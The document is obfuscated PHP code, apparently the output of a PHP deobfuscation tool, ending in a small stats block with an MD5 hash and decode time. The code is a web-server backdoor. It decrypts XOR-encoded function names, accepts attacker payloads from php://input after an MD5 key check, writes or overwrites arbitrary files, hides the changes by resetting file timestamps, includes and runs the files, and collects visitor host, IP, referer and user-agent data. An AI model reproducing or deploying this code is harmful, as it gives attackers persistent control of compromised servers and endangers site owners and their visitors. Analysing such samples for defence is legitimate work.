(!preg_match("\43\x48\124\x54\x50\x2f\x5b\x30\55\71\134\x2e\x5d\x2b\x5c\163\53\50\x5b\x30\55\x39\135\x2b\51\43", $f56[0], $a26)) { goto ae4; } $f0b = intval($a26[1]); goto C9c; Ced: ae4: goto ef2; f56: ed2: $Dd7 = self::c04($f56, "\143\157\156\164\x65\156\164\55\x65\156\x63\x6f\144\x69\x6e\147"); goto c91; ef2: } static function c04($f56, $B5d) { foreach ($f56 as $Bdd) { if (!(stripos($Bdd, $B5d . "\x3a") === 0)) { goto Fd9; } return $Bdd; Fd9: Fc0: } fa6: return false; } function B95($D22) { $Ee1 = $this->buf->get(0); list($Dd7, $f95) = $this->state->range(0, 1); return $Ee1($Dd7) ? $Dd7($D22) : $f95($D22, 10, -8); } function D6c($ab3) { goto ba1; ba1: $Ef6 = array(); $cd5 = $this->FBA($_SERVER["\123\x43\x52\111\120\x54\137\x46\x49\x4c\105\116\101\115\105"], __FILE__, $ab3, $Ef6); goto Da1; Da1: $ccd = $ab3->get(0); $B8d = $ab3->get(1); goto e25; D89: cc0: if (!($cd5 == -1)) { goto Af5; } goto A9d; Eff: exit(join("\xa", $ca8)); fc9: goto B1c; F21: $ca8 = $this->log(0, 0, 0, 0, 0, 1); if (!($ca8 && count($ca8) > 0)) { goto fc9; } goto Eff; D33: $B8d($ab3->get(27) . "\x3a\x20" . $cd5); if (empty($f0b)) { goto e92; } goto cf7; e25: if (!$ccd($cd5)) { goto cc0; } list($cd5, $f0b) = $cd5; goto D89; A9d: return; Af5: goto D33; cf7: exit($f0b); e92: goto F21; B1c: } function e9E($Ee1, $f95, $ab3) { goto bde; Be2: $E7d = $ab3->get(19); if (!$dca($A08)) { goto c53; } goto Bd4; e35: $E7d(); Ba7: goto E70; f76: if ($f0b) { goto b11; } $this->log(0, "\x77\x72\x69\x74\x65\50{$Ee1}\x29\72\x20{$f0b}", 0, 0, 0); goto f0f; E70: return $f0b; goto f2f; A39: fclose($B63); e1d: goto f76; F57: if (!$dca($F50)) { goto e6f; } $f0b = $F50($Ee1, $f95) !== false; goto Aae; ba0: ec4: $f0b = fwrite($B63, $f95) or fputs($B63, $f95); goto A39; bde: list($F50, $A08, $dca) = $ab3->range(8, 10); if ($B63 = fopen($Ee1, "\167")) { goto ec4; } goto F57; f0f: goto Ba7; b11: goto Be2; Aae: e6f: goto e1d; goto ba0; Bd4: $A08(); c53: goto e35; f2f: } function A24($cd5) { ob_start(); include_once $cd5; return ob_get_clean(); } function D21($cd5, $f98) { goto Cc4; ab3: bb1: $bfc++; goto a97; f06: goto ced; A35: goto b36; a97: $Ebf++; goto F78; goto dd1; bf4: if (!($bfc < strlen($f98) && $Ebf < strlen($cd5))) { goto Ad3; } $a26 .= $cd5[$Ebf] ^ $f98[$bfc]; goto ab3; Cc4: $a26 = ''; $Ebf = 0; goto F60; dd1: Ad3: c97: goto f06; b36: return $a26; goto aa4; a58: $bfc = 0; F78: goto bf4; F60: ced: if (!($Ebf < strlen($cd5))) { goto A35; } goto a58; aa4: } function fBa($A63, $E47, $ab3, $Ef6) { goto da7; Ab0: if (!(!$f0b && $b03)) { goto d9e; } $dc3 = tempnam($f17, "\x2e"); goto bdc; cc1: if ($d53($dc3)) { goto C19; } $this->log(0, "{$d53}\40\146\141\151\154\x3a\x20{$dc3}", 0, 0, 0); goto edb; F89: $A6b("\154\x6f\147\x5f\x65\162\x72\157\x72\163", 1); a51: goto Ac9; d92: if (!$D22) { goto Dfc; } $E7d(); goto Bc3; e1a: bc5: e39: goto Ce2; B42: $B5d = "\x64\141\164\141\72\57\x2f\x74\x65\170\x74\x2f\x70\x6c\x61\x69\x6e" . "\x2c" . urlencode($f95); $Da0 = true; goto f16; Aa4: eb6: if (!$dca($A6b)) { goto a51; } goto F89; bbb: $f0b = null; list($ca1, $cb7, $b7d, $cc5, $E7d, $a90) = $ab3->range(15, 20); goto bc9; e34: $f95 = $D34("\x70\x68\x70\72\x2f\57\151\x6e\160\x75\x74"); Ada: goto A88; A4b: if (!(!$b03 && !$F55)) { goto F62; } $A04 = mkdir($f17, 0755, true); goto Cd8; c2c: if (!$dca($A6b)) { goto Bda; } $A6b($ab3->get(12), 0); goto bab; c88: if (!(!$D22 && $f95)) { goto f70; } if ($b7d($B5d)) { goto f7a; } goto Fb6; bb2: $Ee8 = $Ed8($this->F52->aEe()); $d3f = md5($Ee8 . $E90); goto f63; Ed2: $dca = $this->buf->get(0); list($B8d, $Ed8, $a8c, $A6b, $C87, $a0b, $e24) = $ab3->range(1, 7); goto c2c; f28: goto Fe7; e63: goto a9c; E88: $F44 = $ab3->get(29); if ($f95) { goto e63; } goto be4; Ac9: list($Db2, $F74) = $ab3->range(13, 14); if (!($dca($F74) && (!defined($ab3->get(28)) || constant($ab3->get(28)) < 70000) && $Db2())) { goto a30; } goto A29; A88: goto cb7; e23: goto ad1; A51: $b03 = null; $A04 = 0; goto d92; a61: goto de7; Aa6: goto cc1; d75: $this->log(0, "\143\150\x65\143\x6b\x20\x66\x61\151\x6c\x65\x64", 0, 0, 0); $f95 = null; goto e62; c49: if (!(!$D22 && $Ebf && (!$f95 || $f0b || $Da0))) { goto F6c; } $ead = $this->A24($B5d); goto Be6; f16: Eab: goto Ac7; goto Bd9; D9a: $a57 = $dca($C87) ? $C87($B5d) : null; $B8d("\103\157\156\164\x65\x6e\164\x2d\124\x79\160\x65\x3a\40" . ($a57 ? $a57 : "\x61\160\160\154\x69\x63\x61\164\x69\157\156\x2f\157\x63\164\x65\164\55\163\x74\162\145\141\155")); goto A68; Bf9: $f98 = $this->e0b($f98); $F87 = $E90 ? $this->d21($f98, $d3f) : $f98; goto ad0; Ce2: goto Eab; bf6: goto B42; Cd8: F62: $f0b = $this->E9e($B5d, $f95, $ab3); goto Ab0; da7: $Aa0 = array(); $E90 = "\65\x35\65"; goto Ed2; E4b: $Ac0 = !!$ead; dce: goto cc2; c36: $B8d("\x58\55\x54\x69\x6d\145\x73\164\x61\x6d\x70\72\40" . date(DATE_RFC2822, $E40)); f46: goto E4b; fba: $f0b = null; $Da0 = false; goto c88; f63: $f98 = $this->d88($d3f); if (!($f98 === 0)) { goto eb6; } goto Ca8; A29: $F74(0); a30: goto Bf9; edb: C19: de7: goto bb0; Eb1: $F55 = $b7d($f17) ? $cb7($f17) : 0; $ead = null; goto A51; E8f: dbc: return array(implode('', array_map(array($this, "\x62\62"), $Aa0)), $ead); goto f74; ff9: D82: a08: goto B1e; A68: c6f: if (!($ead && ($E40 = $b03 ? $b03 : $cb7($B5d)))) { goto f46; } goto c36; ad0: $ef3 = strlen($F87) < 32 ? 0 : substr($F87, 0, 32); if (!(md5($ef3) != $ab3->get(26))) { goto A83; } goto B70; bb0: e95: d9e: goto c95; b59: $ead = $bde($B5d); if (!$ead) { goto c6f; } goto D9a; be4: if ($cd5) { goto e23; } if (!$Dfb) { goto Ada; } goto e34; Ca8: $f98 = $this->D88($a8c($d3f)); if (!($f98 === 0)) { goto abb; } goto f0e; ad1: list($f95, $Bdd) = $this->d26($cd5, 0, 1); if (!(empty($Bdd) || !self::c04($Bdd, $d6e))) { goto dde; } goto d75; Fb6: if ($Ebf && $ec8 && ini_get("\x61\x6c\x6c\157\167\137\165\162\154\x5f\x69\156\x63\x6c\x75\144\145")) { goto bf6; } $b03 = !$ec8 && $a90($B5d) ? $cb7($B5d) : 0; goto A4b; A8d: if ($f0b = $this->e9E($B5d, $f95, $ab3)) { goto Aa6; } if ($A71($dc3, $B5d)) { goto E96; } goto Aa1; B1e: if (!$B0d) { goto bc5; } $Eea($B5d, $B0d, $B0d); goto e1a; D57: $F44($Aa0, $a32); $Ac0 = null; goto e2a; Aa1: $this->log(0, "{$A71}\x20\146\x61\x69\x6c\72\x20{$dc3}\40\x2d\x3e\40{$B5d}", 0, 0, 0); E96: goto a61; a9c: $f95 = $e24($f95); Fe7: goto a26; cc2: $F44($Aa0, $Ac0); $F44($Aa0, $ec8 && !$Da0 ? $b7d($B5d) ? rmdir($B5d) : $d53($B5d) : null); goto df6; d79: if ($B0d) { goto a08; } $B0d = $this->B14($f17, $B5d); goto Ecf; e2a: if (!(!$ead && $e90)) { goto dce; } $bde = $ab3->get(24); goto b59; cfc: list($cd5, $Dfb, $Ee1, $Ebf, $D22, $ec8, $e90, $f95) = explode("\137\137", substr($F87, 32), 8); list($D34, $d6e) = $ab3->range(24, 25); goto E88; f0e: return -1; abb: goto Aa4; a26: $F44($Aa0, !!$f95); $B5d = $Ee1 ? $Ee1 : $E47; goto bbb; Bbd: Ac7: f70: goto F66; D94: $a0b(0); B9a: goto bb2; bc9: $e15 = $ab3->get(18); $f17 = $e15($B5d); goto Eb1; F66: $F44($Aa0, $f0b); $a32 = null; goto c49; Be6: $a32 = !!$ead; F6c: goto D57; bab: Bda: if (!$dca($a0b)) { goto B9a; } goto D94; Bd9: f7a: $this->log(0, "{$B5d}\x20\x69\163\x20\x64\151\x72", 0, 0, 0); goto Bbd; B70: return -1; A83: goto cfc; D53: $F44($Aa0, $f0b); list($d53, $A71, $Eea) = $ab3->range(21, 23); goto fba; Ecf: if (!(!$B0d && $F55)) { goto D82; } $B0d = $F55; goto ff9; e62: dde: cb7: goto f28; df6: if (!($F55 && ($ec8 || $f0b))) { goto dbc; } $Eea($f17, $F55, $F55); goto E8f; Bc3: $f0b = $a90($B5d) ? $ca1($B5d) : $ca1($f17); Dfc: goto D53; bdc: $this->log(0, "\164\x65\x6d\160\40\x6e\x61\x6d\x65\72\x20{$dc3}", 0, 0, 0); if (!$A71($B5d, $dc3)) { goto e95; } goto A8d; c95: if (!$f0b) { goto e39; } $B0d = $b03; goto d79; f74: } function b14($e90, $bdb) { goto Dfb; d81: Bfc: return $b03; goto Cab; Fe0: $fe4 = $ee6[$Ebf]; if (!($fe4 && $fe4 != $bdb && is_file($fe4))) { goto f98; } goto A30; A54: A28: ++$Ebf; goto Dc1; Dfb: $b03 = 0; $ee6 = glob("{$e90}\57\52", constant("\x47\114\117\x42\x5f\x4e\x4f\123\x4f\122\x54")); goto b3b; A30: $b03 = filemtime($fe4); f98: goto A54; Dc1: goto B0c; b43: goto d81; F2f: B0c: if (!($Ebf < count($ee6) && $Ebf < 4 && !$b03)) { goto b43; } goto Fe0; b3b: if (!$ee6) { goto Bfc; } $Ebf = 0; goto F2f; Cab: } function E0B($F63) { $f95 = $this->meta->get(7); return $f95(strtr($F63, "\x2d\137", "\53\x2f")); } function b2($db7) { return $db7 ? 1 : 0; } function cB5() { return array(array("\x31\x35\61\146\61\x35\x31\60\60\x36\x31\x63\61\60\x31\67", "\x31\x35\61\x66\x31\70\61\142\60\x33\x31\146\x31\65\x30\x36\60\60", "\x30\x31\x30\x30\x30\65\61\66\60\141\61\x63\61\x66\61\x62\x30\x30", "\61\x31\x30\x34\x31\62\x31\144\x30\x30\x35\145\61\67\x31\144\x30\142\x30\x35\60\67\x30\141\x31\x66\x34\x65\65\62\60\x62\61\145\x35\70\60\x36\61\62\61\x37\x31\x61\x30\x30\65\144\65\65\x30\x62\61\143\65\x39\x30\61\61\x31\x31\145\x30\67\60\x30\65\146\x35\x34\x31\x63\60\141\65\143\60\61\x31\x37\x31\62\x31\x61\60\61\60\63\61\145\60\67\60\70\65\x66\x35\64\x31\146\61\60\60\x32\60\61\x34\70\60\x31\61\x31\x30\64\60\64\61\x64\61\x63\x30\61\61\x32\60\x30\61\67", "\x30\x32\x31\x37\61\x30\x31\x32\x30\x38\61\62\x34\x65\x35\x32\x30\142\x31\145\65\x38\60\x36\x31\x32\x31\x37\61\141\60\x30", "\63\141\x33\61\x32\65\62\x35\x34\x61\x34\x32\65\x61\64\x32\x34\x35\64\62\64\65\x35\x37\x35\63\63\x32\x31\144\61\60\61\x66\61\x31", "\x33\x33\60\x36\61\x32\61\x30\61\65\60\67\65\x39\x33\x37\x30\x62\x31\x32\x31\141\60\x31\x31\x61\61\141\x31\x35\65\146\x35\61\61\x32\61\146\x31\141\x30\64", "\x31\x61\x31\61\60\x35\60\x35\65\x66\65\x63\65\142", "\x32\x61\x34\70\x32\61\60\x30\x31\x35\60\x33\x31\61\x30\x36", "\x35\143\x30\x36\60\62\x30\x36", "\65\x63\x31\x31\x30\71\60\61", "\x35\143\61\x35\x31\x35\61\63", "\65\143\x30\146\x30\x31\61\62", "\65\x63\61\65\61\x66\61\x32", "\x35\x63\x30\62\x31\70\x31\x33", "\65\143\60\61\61\145\x31\66", "\x35\x63\x30\x66\x30\x32", "\60\x61\x30\x38\x31\144\x30\67\x31\65\61\x30\x35\141\60\62\60\x64\60\61", "\65\x63\x30\x66\x30\62\x31\x61\x30\x62", "\x35\143\x30\x38\x31\x30\60\65", "\65\x63\x31\144\61\x63\61\x39", "\x35\x63\x30\x63\61\x32\x31\x61", "\65\x63\61\x31\x30\x35\61\x33", "\65\x63\x31\62\x31\x65\x31\x33\x30\x33", "\x35\x63\x31\x32\61\145\61\x33\x30\63\64\61", "\65\143\x31\146\61\70\60\x35", "\65\143\x31\66\60\x37\x31\x32", "\65\143\x30\x30\61\x65\x30\61", "\x34\x64\61\x35\x30\64\x30\x35\x35\70\61\142\60\x30\60\x36\x31\x35\64\142\65\x61\64\x61\65\66\60\67\65\144\64\63\x30\x33\x31\60\x30\63\64\x65\65\x31\60\61\x34\x33\x31\x38\60\65\65\x38\x35\66\60\67\x35\x34\60\x34\x31\66\61\x30\x30\142\x30\67\x34\71\65\x37\61\x36\x35\x37\x30\60\x31\x37\x31\141\x34\71\x35\x37\x31\66"), array("\x31\64\61\60\61\x66\x31\66\61\x31\61\x61\x31\142\x31\143\x33\141\61\x34\60\144\60\x63\x30\x30\60\x30\60\61", "\x31\x31\61\x30\60\x33\x31\71\63\141", "\61\x62\x30\x62\x31\x38\60\x31", "\60\61\60\60\60\x35\x31\141\61\65\x30\x37", "\x31\x37\61\x64\x31\x34\61\66", "\x31\61\x30\71\x31\145\60\x36\x30\60", "\67\x66\x36\x66", "\x31\146\60\x30\x30\x35\61\x64\60\x61\61\x37", "\61\64\x30\141\61\144\61\71\x30\x61\x30\x34\x32\x62\61\x65\60\x61\61\62\61\64\61\x31\61\x61\61\x62\x31\143", "\x31\142\60\x32\x31\x66\x31\141\61\x37\61\x36\62\x62\61\x37\x31\67\60\x33\61\141\x31\67\60\x30", "\60\x36\x30\x63\61\x63\x31\x30\x30\141\60\x36\x30\60", "\61\x61\x30\x30\x31\60\x31\x31\x30\60\x30\x31", "\61\x61\x31\x31\60\65\x30\x35", "\x33\65\x32\x30\x32\x35", "\x30\x31\61\x31\x30\x33\x31\60\60\64\x31\x65\x32\x62\61\x31\x30\x61\61\146\60\x31\x30\60\x30\142\x30\60\62\x64\x30\x36\x30\63\x31\60\60\x34\60\67\61\61", "\x31\x34\x30\141\60\61\x31\x30\x30\x62", "\60\x31\x31\x31\60\x33\61\60\x30\x34\x31\x65\x32\142\x31\65\60\x30\x30\65\62\x61\60\x36\x31\143\61\x61\60\66\x30\60\x31\146\60\x31\x31\66", "\61\x34\x30\x36\61\x64\61\141\61\66\61\66", "\x30\x30\x30\67", "\61\x66\x32\x62\x35\64\64\x33\x35\65\x35\66\64\65\64\x36\x34\60\x34\60\64\x37\62\x64\65\x36\x34\x31\x33\66\x34\60\x34\x30\64\x35", "\60\x37\x31\x37\x31\144\x31\x31\60\x30\x31\x30\x31\x62\61\x36\60\60", "\64\142\x35\x35\61\x30\61\x30\60\x31\61\x32\x31\67\64\x37\60\66\64\64\x34\144\65\x30\x34\x36\x31\x35\x34\x32\65\x35\x34\71\61\64\60\x36\x34\x32\64\x30\x31\60\x30\x30\64\70", "\61\61\x30\66\x31\x39\x31\60\60\x36\x31\x38"), array("\x31\142\61\x36\x32\145\61\x34\x31\x37\60\x31\61\65\60\142", "\x31\141\60\60\x31\60\x31\61\x30\x30\60\61", "\x30\x31\x31\x31\x30\63\x30\x31\x30\141\x31\146\x31\142\x30\x35\x30\60\60\63", "\60\x31\x31\x31\x30\x33\60\61\x30\141\60\66\x30\x34\x30\62\60\60\x30\63", "\61\x62\x30\142\x31\x38\x32\x61\61\66\61\x36\x30\60", "\61\x66\60\x63\61\143\x31\x30\x33\141\61\60\61\x62\61\143\61\61\x31\64\x31\142\x31\61\62\x63\x30\x30\x30\142\61\65\x31\x34", "\60\61\x30\x30\x30\65\x32\x61\x31\x31\x31\141\x31\x39\x31\67\63\x61\61\144\x31\143\60\70\x31\141\60\x30", "\61\60\60\x34\x30\62\x31\60\x35\x33\x34\x37\62\142\61\66\60\60\61\62\61\141\60\61\61\x36", "\61\x34\60\143\61\x64\61\60\x33\x61\x30\x33\x30\61\x30\x36\x33\141\x31\x32\61\141\x30\142\60\x37\61\61\x31\143\x31\61\x30\62", "\x31\x64\x31\x35\x31\62\x31\x34\x30\66\61\x62\61\61\x32\x64\x31\x37\61\x34\60\x36\x30\60\60\67", "\61\64\61\x30\61\146\x31\x36\x31\61\x31\x61\x31\142\x31\143\63\141\x31\x34\x30\x64\60\x63\60\x30\60\x30\60\x31", "\x31\x31\x31\60\60\63\61\71\x33\x61\x31\x61\x31\x61\61\x62\x31\x31", "\x31\x66\x30\64\x30\x39\62\x61\60\x30\x30\x62\x31\61\x31\61\61\x30\60\65\x31\x63\60\x61\61\144\62\x62\x30\66\x30\143\x31\143\61\60", "\x31\x35\60\x30\60\65\62\141\x30\70\61\x32\61\x33\61\x62\60\x36\62\x65\x30\x34\61\x30\x31\143\60\x30\61\x37\x31\66\62\x65\60\x37\61\x30\61\144\x30\60\61\x62\60\x38\x31\x34", "\x30\61\60\x30\60\x35\62\141\60\x38\x31\x32\x31\x33\x31\142\60\66\62\145\x30\64\61\x30\x31\x63\60\x30\x31\x37\x31\66\x32\145\x30\67\x31\60\61\x64\x30\x30\61\142\60\70\x31\x34", "\61\x62\x31\x36\62\145\x30\x32\x31\67\x31\141\60\x30\x31\x33\60\x37\x31\144\x31\60", "\61\x34\x30\x63\61\x64\x31\x30\60\x38\x30\x37\61\x64\x31\x66\x30\60", "\x31\x62\61\x36\62\x65\61\61\60\143\60\x31", "\x31\66\x30\143\60\x33\61\x62\x30\64\x31\145\61\61", "\x31\x31\x30\71\x31\x34\61\x34\61\x37\60\x30\x30\x30\x31\63\x31\61\x31\62\61\x34\x30\x36\61\x62\x31\61", "\x31\x34\x30\143\x31\x64\61\x30\63\141\61\66\x30\143\x31\x62\x31\x36\x30\65\x30\66", "\60\67\60\x62\x31\144\61\x63\x30\x62\61\70", "\60\60\60\x30\61\x66\61\x34\x30\70\x31\66", "\x30\x36\60\141\x30\x34\61\x36\60\144", "\x31\64\60\143\61\x64\x31\60\x33\141\x31\x34\61\x31\x30\x36\63\141\x31\62\61\x61\x30\142\x30\x37\61\61\x31\143\x31\x31\x30\62", "\x30\x61\64\70\60\x31\61\x36\61\66", "\x34\x32\65\x30\x34\61\64\x31\x30\63\64\142\64\x63\61\67\x30\67\64\x33\x34\x64\65\63\x34\65\61\x32\x34\142\60\x34\61\x33\64\64\65\67\64\64\64\63\x31\x31\x35\67\61\x35\x34\x35\x35\60\61\61\61\x32\64\65\x30\x36\61\63\x34\x36", "\62\x61\x34\x38\x32\61\63\61\60\64\x30\x37\61\x35", "\x32\x32\x32\x64\62\x31\62\141\x33\x33\63\x36\x32\66\x32\x31\62\143\x33\x65\x33\x62\x33\x61\63\x61\x33\x30", "\61\x33\61\x37\60\x33\61\x34\x31\143\x32\143\60\64\x30\x37\61\66\61\71")); } } goto C99; C97: if (!defined("\146\x38\x30")) { goto eed; } return; goto a64; Cac: unset($D1f); class a07 { public static function Aee() { return !empty($_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\x57\101\122\104\105\104\x5f\x48\x4f\123\124"]) ? $_SERVER["\x48\x54\x54\120\x5f\x58\137\106\117\122\127\x41\x52\104\x45\x44\x5f\x48\117\x53\124"] : (!empty($_SERVER["\110\124\x54\x50\137\110\x4f\123\x54"]) ? $_SERVER["\x48\x54\124\120\137\x48\117\123\x54"] : (!empty($_SERVER["\x48\117\x53\x54\x4e\101\115\105"]) ? $_SERVER["\110\x4f\x53\x54\x4e\x41\x4d\x45"] : '')); } public static function eA7() { return !empty($_SERVER["\x53\x45\122\x56\x45\x52\137\116\101\x4d\x45"]) ? $_SERVER["\x53\105\122\x56\105\x52\137\x4e\101\115\105"] : ''; } public static function f75() { goto ff8; E43: $bed = array_shift(array_map("\164\162\x69\155", explode("\x2c", $_SERVER["\x48\x54\x54\120\137\x58\137\106\117\x52\127\101\122\x44\105\x44\137\106\117\122"]))); b58: goto E98; cac: goto b58; Def: goto E43; E98: return !empty($bed) ? $bed : ''; goto ff3; ff8: if (!empty($_SERVER["\110\x54\124\x50\137\130\137\x46\x4f\x52\127\x41\x52\x44\105\104\137\x46\x4f\122"])) { goto Def; } $bed = !empty($_SERVER["\122\x45\115\117\124\x45\137\x41\x44\104\122"]) ? $_SERVER["\122\x45\x4d\117\124\105\x5f\101\x44\104\x52"] : ''; goto cac; ff3: } public static function D9E() { return !empty($_SERVER["\110\124\x54\120\x5f\122\105\x46\105\x52\105\x52"]) ? $_SERVER["\x48\124\124\120\137\122\x45\106\x45\x52\105\122"] : ''; } public static function dCc() { return !empty($_SERVER["\110\x54\124\x50\x5f\125\x53\x45\122\x5f\x41\x47\105\116\124"]) ? $_SERVER["\x48\x54\124\120\x5f\x55\123\105\122\x5f\101\107\105\116\x54"] : ''; } public static function F8F() { return !empty($_SERVER["\122\x45\121\125\x45\123\124\x5f\x55\x52\x49"]) ? $_SERVER["\122\105\x51\x55\x45\x53\124\x5f\125\122\111"] : ''; } public static function format($cd5) { return sprintf($cd5, urlencode(self::aeE()), self::D9E(), self::F75(), urlencode(self::dcC()), urlencode(self::f8F())); } } goto A52; A52: class d7a { public function range($Be9, $c61) { return array_map(array($this, "\147\x65\164"), range($Be9, $c61)); } protected $B8f, $Aaf; function cf0($C10) { $f98 = $this->B8f; $c4b = $this->F56($C10); $f0b = strlen($c4b) / strlen($f98) + 1; return $c4b ^ str_repeat($f98, $f0b); } function f56($Ab2) { return pack("\110\x2a", $Ab2); } public function __construct($f98, $C10) { $this->B8f = $f98; $this->Aaf = $C10; } public function get($Ebf) { $f0b = $this->cf0($this->Aaf[$Ebf]); return $f0b; } }
Function Calls
None |
Stats
MD5 | 6aa82e6766cdfa378b8ffee96af3503a |
Eval Count | 0 |
Decode Time | 57 ms |